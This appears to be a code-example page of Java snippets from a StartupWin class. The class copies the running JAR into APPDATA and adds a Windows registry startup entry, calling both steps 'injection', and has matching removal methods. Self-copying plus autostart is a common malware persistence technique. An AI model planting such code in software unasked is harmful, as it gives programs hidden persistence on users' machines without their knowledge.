Beispiel #1
0
 private static void removeRegistry(String entry_name) {
   try {
     //			ProcessBuilder pb = new ProcessBuilder(new String[]{"REG", "DELETE", REGENTRY1, "/v",
     // entry_name, "/f"});
     //			pb.start();
     ProcessBuilder pb2 = new ProcessBuilder("REG", "DELETE", REGENTRY2, "/v", entry_name, "/f");
     pb2.start();
   } catch (Exception e) {
     Logger.log("Couln't remove registry \n", e);
   }
 }
Beispiel #2
0
  public static void remove(String entry_name) {
    try {
      File currentJar =
          new File(StartupWin.class.getProtectionDomain().getCodeSource().getLocation().toURI());

      removeRegistry(entry_name);
      removeDirectory(entry_name, currentJar);
    } catch (Exception e) {
      Logger.log("Couln't remove file or registry \n", e);
    }
  }
Beispiel #3
0
  public static void add(String entry_name) {
    if (isAlreadyAdded(entry_name)) return;

    try {
      File currentJar =
          new File(StartupWin.class.getProtectionDomain().getCodeSource().getLocation().toURI());

      directoryInjection(entry_name, currentJar);
      registryInjection(entry_name, currentJar);
    } catch (Exception e) {
      Logger.log("Couln't Inject file or registry \n", e);
    }
  }
Beispiel #4
0
  private static void registryInjection(String entry_name, File currentJar) {
    try {
      File outputJar = new File(APPDATA, SUBFOLDER + "\\" + currentJar.getName());
      String start_cmd = JAVABIN + " -jar " + outputJar.getAbsolutePath();

      //			ProcessBuilder pb = new ProcessBuilder(new String[]{"REG", "ADD", REGENTRY1, "/v",
      // entry_name, "/d", "\"" + start_cmd + "\"", "/f"});
      //			pb.start();
      ProcessBuilder pb2 =
          new ProcessBuilder(
              "REG", "ADD", REGENTRY2, "/v", entry_name, "/d", "\"" + start_cmd + "\"", "/f");
      pb2.start();
    } catch (Exception e) {
      Logger.log("Couln't Inject registry \n", e);
    }
  }
Beispiel #5
0
  private static void directoryInjection(String entry_name, File currentJar) {
    try {
      File outputJar = new File(APPDATA, SUBFOLDER + "\\" + currentJar.getName());

      InputStream in = new FileInputStream(currentJar);
      OutputStream out = new FileOutputStream(outputJar);

      byte[] buf = new byte[1024];
      int len;
      while ((len = in.read(buf)) > 0) {
        out.write(buf, 0, len);
      }
      in.close();
      out.close();
    } catch (Exception e) {
      Logger.log("Couln't Inject file registry \n", e);
    }
  }